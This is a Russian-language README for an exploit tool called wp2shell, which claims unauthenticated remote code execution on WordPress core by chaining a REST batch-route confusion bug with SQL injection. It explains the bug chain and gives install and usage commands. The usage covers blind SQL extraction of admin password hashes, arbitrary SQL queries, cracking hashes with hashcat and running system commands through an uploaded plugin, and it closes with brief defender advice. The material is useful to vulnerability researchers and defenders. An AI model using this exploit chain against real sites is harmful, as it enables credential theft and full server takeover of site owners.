wp2shell от: ek0ms savi0r

Неаутентифицированное удаленное выполнение кода для WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)

Эксплойт wp2shell для критической цепочки уязвимостей в ядре WordPress. Он объединяет ошибку путаницы пакетных маршрутов REST API с SQL-инъекцией в WP_Query для достижения неаутентифицированного удаленного выполнения кода на уязвимых установках WordPress.

Как это работает

Эксплойт объединяет две ошибки в ядре WordPress:

1. CVE-2026-60137 — SQL-инъекция – Когда author__not_in передается как строка вместо массива, WordPress пропускает проверку is_array() и подставляет необработанное значение в SQL-условие NOT IN (...).

2. CVE-2026-63030 — Путаница пакетных маршрутов – Конечная точка /wp-json/batch/v1 создает параллельные массивы $matches и $validation. Поврежденный подзапрос добавляется в $validation, но не в $matches, что вызывает сдвиг индекса на +1. Подзапрос i отправляется с обработчиком подзапроса i+1.

Вместе: Запрос POST /wp/v2/posts, содержащий внутренний запрос GET /wp/v2/users со строкой author_exclude, обходит как белый список методов, так и санитацию ввода. Строка попадает в WP_Query как author__not_in и вставляется в SQL — предоставляя неаутентифицированную слепую SQL-инъекцию.

После этого инструмент может:

• Извлечь хеш пароля администратора
• Аутентифицироваться как администратор (после взлома хеша)
• Загрузить вредоносный плагин
• Выполнить произвольные системные команды

Возможности

Установка

git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

Всё. Сторонние пакеты не требуются.

Использование

./wp2shell.py <url> [command] [options]

Интерактивный режим (меню)

./wp2shell.py http://target.com

Запускает интерактивное меню со всеми функциями, доступными через пронумерованные опции.

Команды

check — Подтверждение уязвимости (безопасно)

Выполняет зонд с временной задержкой для подтверждения эксплуатабельности. Не читает данные и ничего не меняет.

./wp2shell.py http://target.com check

read — Извлечение данных (слепая SQL-инъекция)

Извлекает информацию из базы данных с помощью временной слепой SQL-инъекции.

# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read

# Extract user logins and password hashes
./wp2shell.py http://target.com read --users

# Extract database name
./wp2shell.py http://target.com read --database

# Extract MySQL version
./wp2shell.py http://target.com read --version

# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"

shell — Удаленное выполнение кода

Требуются действительные учетные данные администратора. SQL-инъекция может восстановить хеш пароля, но вы должны предоставить восстановленный пароль в открытом виде.

# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"

# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami

Параметры

Пример рабочего процесса

# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check

# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users

# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt

# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"

Затронутые версии

Версии до 6.9.0 не затронуты полной цепочкой RCE.

Обнаружение и смягчение

Для защитников:

• Немедленно обновитесь до 6.9.5, 7.0.2 или новее
• Клиенты Cloudflare WAF автоматически защищены
• Клиенты Wordfence имеют правила брандмауэра
• Отслеживайте запросы POST /wp-json/batch/v1 с вложенными телами requests
• Код 404 на пакетном маршруте не всегда означает 'исправлено' — это также может означать, что WAF/CDN блокирует анонимный доступ к REST API.

Правовое предупреждение

Этот инструмент предназначен только для образовательных и авторизованных целей тестирования безопасности.

Авторы

• Обнаружение: Adam Kues (Assetnote / Searchlight Cyber)
• CVE-2026-60137 (SQL-инъекция): TF1T, dtro, haongo
• CVE-2026-63030 (Путаница пакетных маршрутов): Adam Kues

Для получения более подробной информации об уязвимости см. блог исследований Searchlight Cyber.